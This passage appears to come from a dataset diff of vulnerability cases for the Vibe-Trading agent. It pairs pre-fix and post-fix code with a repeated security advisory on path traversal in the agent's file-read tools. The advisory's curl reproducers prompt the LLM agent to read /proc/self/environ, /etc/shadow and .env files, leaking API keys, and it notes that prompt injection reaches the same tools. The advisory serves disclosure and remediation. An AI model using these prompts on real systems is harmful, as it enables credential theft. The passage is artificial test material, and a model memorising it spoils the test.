-R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "Settings"
+function_lines = [[34, 71]]
+id = "hkuds-vibe-trading-cd0aa698868347a5"
+language = "typescript"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "frontend/src/pages/Settings.tsx"
+post_fix = "export function Settings() {\n const { t } = useI18n();\n const [settings, setSettings] = useState(null);\n const [dataSettings, setDataSettings] = useState(null);\n const [form, setForm] = useState(null);\n const [apiKey, setApiKey] = useState(\"\");\n const [localApiKey, setLocalApiKeyState] = useState(() => getApiAuthKey());\n const [clearApiKey, setClearApiKey] = useState(false);\n const [tushareToken, setTushareToken] = useState(\"\");\n const [clearTushareToken, setClearTushareToken] = useState(false);\n const [loading, setLoading] = useState(true);\n const [saving, setSaving] = useState(false);\n const [dataSaving, setDataSaving] = useState(false);\n const [settingsLoadError, setSettingsLoadError] = useState(null);\n\n useEffect(() => {\n let alive = true;\n Promise.all([api.getLLMSettings(), api.getDataSourceSettings()])\n .then(([llmData, dataSourceData]) => {\n if (!alive) return;\n setSettings(llmData);\n setForm(toForm(llmData));\n setDataSettings(dataSourceData);\n setSettingsLoadError(null);\n })\n .catch((error) => {\n const message = error instanceof Error ? error.message : t.unknownError;\n setSettingsLoadError(message);\n if (isAuthRequiredError(error)) {\n toast.error(message);\n } else {\n toast.error(`${t.llmSettingsLoadFailed}: ${message}`);\n toast.error(`${t.dataSourceSettingsLoadFailed}: ${message}`);\n }\n })\n .finally(() => {\n if (alive) setLoading(false);\n });\n return () => { alive = false; };\n }, [t.dataSourceSettingsLoadFailed, t.llmSettingsLoadFailed]);\n\n const providers = settings?.providers ?? [];\n const selectedProvider = useMemo(\n () => providers.find((provider) => provider.name === form?.provider),\n [form?.provider, providers],\n );\n"
+pre_fix = "export function Settings() {\n const { t } = useI18n();\n const [settings, setSettings] = useState(null);\n const [dataSettings, setDataSettings] = useState(null);\n const [form, setForm] = useState(null);\n const [apiKey, setApiKey] = useState(\"\");\n const [clearApiKey, setClearApiKey] = useState(false);\n const [tushareToken, setTushareToken] = useState(\"\");\n const [clearTushareToken, setClearTushareToken] = useState(false);\n const [loading, setLoading] = useState(true);\n const [saving, setSaving] = useState(false);\n const [dataSaving, setDataSaving] = useState(false);\n\n useEffect(() => {\n let alive = true;\n Promise.all([api.getLLMSettings(), api.getDataSourceSettings()])\n .then(([llmData, dataSourceData]) => {\n if (!alive) return;\n setSettings(llmData);\n setForm(toForm(llmData));\n setDataSettings(dataSourceData);\n })\n .catch((error) => {\n toast.error(`${t.llmSettingsLoadFailed}: ${error.message}`);\n toast.error(`${t.dataSourceSettingsLoadFailed}: ${error.message}`);\n })\n .finally(() => {\n if (alive) setLoading(false);\n });\n return () => { alive = false; };\n }, [t.dataSourceSettingsLoadFailed, t.llmSettingsLoadFailed]);\n\n const providers = settings?.providers ?? [];\n const selectedProvider = useMemo(\n () => providers.find((provider) => provider.name === form?.provider),\n [form?.provider, providers],\n );\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "start_run"
+function_lines = [[70, 74]]
+id = "hkuds-vibe-trading-d15ad3bf7a566ce3"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/swarm/runtime.py"
+post_fix = " def start_run(\n self,\n preset_name: str,\n user_vars: dict[str, str],\n live_callback: Callable | None = None,\n include_shell_tools: bool = False,"
+pre_fix = " def start_run(\n self,\n preset_name: str,\n user_vars: dict[str, str],\n live_callback: Callable | None = None,"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "build_registry"
+function_lines = [[57, 84]]
+id = "hkuds-vibe-trading-dc628e0182f9c1ae"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/__init__.py"
+post_fix = "def build_registry(\n *,\n persistent_memory: \"PersistentMemory | None\" = None,\n include_shell_tools: bool = False,"
+pre_fix = "def build_registry(*, persistent_memory: \"PersistentMemory | None\" = None) -> ToolRegistry:\n \"\"\"Build the tool registry via auto-discovery.\n\n Args:\n persistent_memory: Shared PersistentMemory instance. Injected into\n tools that need it (e.g. RememberTool) so all tools share one\n instance instead of each creating their own.\n\n Returns:\n ToolRegistry containing all available tools.\n \"\"\"\n from src.tools.remember_tool import RememberTool\n\n registry = ToolRegistry()\n for cls in _discover_subclasses():\n try:\n if not cls.check_available():\n logger.info(\"Tool %s unavailable, skipping\", cls.name)\n continue\n if cls is RememberTool and persistent_memory is not None:\n registry.register(cls(memory=persistent_memory))\n else:\n registry.register(cls())\n except Exception as exc:\n logger.warning(\"Failed to register tool %s: %s\", cls.name, exc)\n return registry\n\n"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require 